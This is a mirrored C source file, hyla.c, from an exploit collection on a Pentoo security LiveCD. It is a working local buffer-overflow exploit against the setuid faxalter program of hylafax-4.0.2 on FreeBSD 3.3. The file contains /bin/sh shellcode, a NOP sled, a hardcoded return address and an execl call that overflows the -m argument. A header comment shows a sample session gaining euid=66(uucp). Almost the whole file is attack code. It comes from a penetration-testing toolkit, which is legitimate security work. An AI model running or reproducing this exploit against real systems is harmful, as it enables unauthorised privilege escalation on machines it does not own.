home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / networktools / hyla.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  59 lines

  1. /* EXPLOIT
  2. bash-2.03$ uname -a; ls -la `which faxalter`; id
  3. FreeBSD  3.3-RELEASE FreeBSD 3.3-RELEASE #0: Thu Sep 16 23:40:35 GMT
  4. 1999
  5.          jkh@highwing.cdrom.com:/usr/src/sys/compile/GENERIC  i386
  6. -r-sr-xr-x  1 uucp  bin  72332 Sep 11 03:32 /usr/local/bin/faxalter
  7. uid=1000(xnec) gid=1000(xnec) groups=1000(xnec), 0(wheel)
  8. bash-2.03$ /home/xnec/faxalterx
  9. $ id
  10. uid=1000(xnec) euid=66(uucp) gid=1000(xnec) groups=1000(xnec), 0(wheel)
  11. $
  12. */
  13.  
  14. /*
  15.  * Faxalter exploit for FreeBSD 3.3/hylafax-4.0.2 yields euid=66(uucp)
  16.  * Brock Tellier btellier@usa.net
  17.  */
  18.  
  19. #include <stdio.h>
  20.  
  21. char shell[]= /* mudge@lopht.com */
  22.    "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  23.    "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  24.    "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  25.    "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
  26.  
  27.  
  28. main (int argc, char *argv[] ) {
  29.  int x = 0;
  30.  int y = 0;
  31.  int offset = 0;
  32.  int bsize = 4093; /* overflowed buf's bytes + 4(ebp) + 4(eip) + 1 */
  33.  char buf[bsize];
  34.  int eip = 0xbfbfcfad;
  35.  
  36.  if (argv[1]) {
  37.    offset = atoi(argv[1]);
  38.    eip = eip + offset;
  39.  }
  40.  fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);
  41.  
  42.  for ( x = 0; x < 4021; x++) buf[x] = 0x90;
  43.      fprintf(stderr, "NOPs to %d\n", x);
  44.  
  45.  for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
  46.      fprintf(stderr, "Shellcode to %d\n",x);
  47.  
  48.   buf[x++] = eip & 0x000000ff;
  49.   buf[x++] = (eip & 0x0000ff00) >> 8;
  50.   buf[x++] = (eip & 0x00ff0000) >> 16;
  51.   buf[x++] = (eip & 0xff000000) >> 24;
  52.      fprintf(stderr, "eip to %d\n",x);
  53.  
  54.  buf[bsize - 1]='\0';
  55.  
  56.  execl("/usr/local/bin/faxalter", "faxalter", "-m", buf, NULL);
  57.  
  58. }
  59.